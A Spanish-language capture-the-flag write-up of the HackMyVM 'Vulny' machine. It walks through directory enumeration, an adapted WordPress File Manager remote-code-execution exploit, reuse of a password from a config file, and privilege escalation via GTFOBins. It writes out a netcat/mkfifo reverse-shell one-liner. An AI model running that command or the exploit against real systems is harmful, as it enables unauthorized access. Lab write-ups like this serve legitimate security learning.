Información de la maquína

#

---

Nombre	Vulny
Sistema operativo	Linux
Autor	SML
Dificultad	Fácil
Sitio	hackmyvm

---

Reconocimiento y enumeración

#

Escaneo de servicios:

Revisemos la página web:

Página predeterminada de apache2. Corremos nuestro escaneo de gobuster.

Encontramos dos directorios interesantes, javascript y secret. Revisemos ambos:

Encontramos algo interesante, tal vez, estamos en ese directorio ahorita mismo, entonces tengamos eso en cuenta. En el directorio javascript no tenemos los privilegios para ver los contenidos:

Enumeremos el directorio /secret:

Encontramos otros 3 directorios, revisemos cada uno de ellos:

---

Después, encontré está lista de directorios en el directorio /wp-admin, pero no podía acceder

---

Revisemos el directorio /uploads que esta en wp-content:

Encontramos un archivo zip, lo descargamos para ver sus contenidos:

En los contenidos del archivo, hay un archivo con extensión .sql, investigamos como abrirlo:

Seguimos estos pasos. Y no encontramos nada de interés en las tablas contenidas en la base de datos (se tiene que iniciar el servicio de mysql con el siguiente comando sudo service start mysql):

Parece ser que, esta base de datos no contiene información; idealmente, debería contener usuario y contraseñas. Decido investigar un poco más acerca del wp file manager y su versión a ver si podemos explotarlo de alguna manera.

Después de un rato, encontré esta página de github, que contiene un exploit para esta aplicación. Es un plugin de wordpress, y este exploit nos permitirá hacer remote command execution. Ahora sigo los pasos para ver si conseguimos obtener una reverse shell:

Recibo un error:

Revisemos el código para encontrar el problema:

Como podemos ver, el directorio predeterminado es /wp-content, pero, recordemos nuestra enumeración de directorios, el directorio /wp-content está dentro del directorio /secret:

También, solo para salir de la duda, revisemos los contenidos del archivo zip que descargamos para ver si el archivo readme.txt está ahí:

Ahí está, entonces, ahora, para que este código funcione, añadimos el string /secret a la variable, así:

Debería funcionar ahora, probemos:

Encontramos otro error, pero esta vez, en mi opinión, de parte del programador, ¿La versión 6.0 también era vulnerable, verdad?

Lo es, revisemos el codigo otra vez:

Encontramos el problema, bien, lo que está pasando aquí, de manera muy resumida, el operador > mayor que es el que está causando el problema. Debido a esto, en vez de confirmar las versiones 6.0 a 6.8 solo confirmará las versiones 6.1 a 6.8 como vulnerables. Dejando la versión 6.0 del rango del script, añadimos el operador = al lado del >, para que tome en cuenta el 6.0. Probamos el código otra vez:

Después de analizar el código otra vez, me di cuenta de que, hay otras strings referenciando al directorio, que no cambié:

Acceso inicial y cambio de usuario

#

Corramos el exploit otra vez:

¡Ahí está! Miremos qué podemos encontrar:

Primero, encontramos al usuario adrian, revisemos si podemos acceder su carpeta home. Para ser que no podemos recorrer directorios, intentemos esa reverse shell que vimos en la página de github del exploit:

Iniciamos nuestro escucha de netcat primero:

Y luego corremos el comando rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP-DE-TU-MAQUINA> <PUERTO-A-ELECCION> >/tmp/f en la máquina objetivo:

¡Obtenemos una reverse shell! Mejoremos nuestra sesión un poco:

Cuando usemos lo siguiente, recordemos que tenemos que correr una bash shell para que esto funcione, lo cual, en mi caso, necesito hacer porque estoy usando zsh. Corro el comando y exploro. Primero, busco a otros usuarios:

Además de root, solo el usuario adrian tiene permitido una sesión de shell. Vamos a su directorio home para ver si podemos accederlo:

No podemos acceder nada interesante debido a la falta de privilegios, pero sabemos que tenemos que cambiar a este usuario. Revisemos si hay algo de interés en el directorio /var/www/:

Nada…

Decido explorar los contenidos de la carpeta de wordpress, y encuentro algunos archivos interesantes ahí:

Reviso los contenidos de ese archivo php:

(¿Tal vez esa es la contraseña del usuario adrian?) Intentamos logearnos como adrian:

¡Bien! Obtengamos la bandera de usuario:

Escalado de privilegios

#

Ahora, corramos los comandos usuales para ver si encontramos algun vector de escalado de privilegios:

Buscamos ese programa en gtfobins

Intentamos esto, and vemos si podemos acceders los contenidos del directorio /root:

¡Mucho mejor, obtenemos privilegios de administrador! Miremos si podemos obtener la bandera de root:

Y con esto hemos comprometido la maquina.

Cosas que aprendí sobre esta máquina

#

• Vulnerabilidad de worpress en las siguientes versiones (6.0 to 6.8).
• Cómo acceder a una base de datos que descargué con mysql(y que no siempre estas bases de datos tendrán información dentro de ellas…).
• Recordar iniciar una bash shell cuando estamos mejorando a full TTY en el escucha de netcat(en el caso de que bash no sea nuestra shell predeterminada).
• Revisar los archivos de configuración para ver sé si encuentra información interesante.
• Aparentemente, después de revisar otros writeups, también podría haber usado metasploit para resolver esta máquina.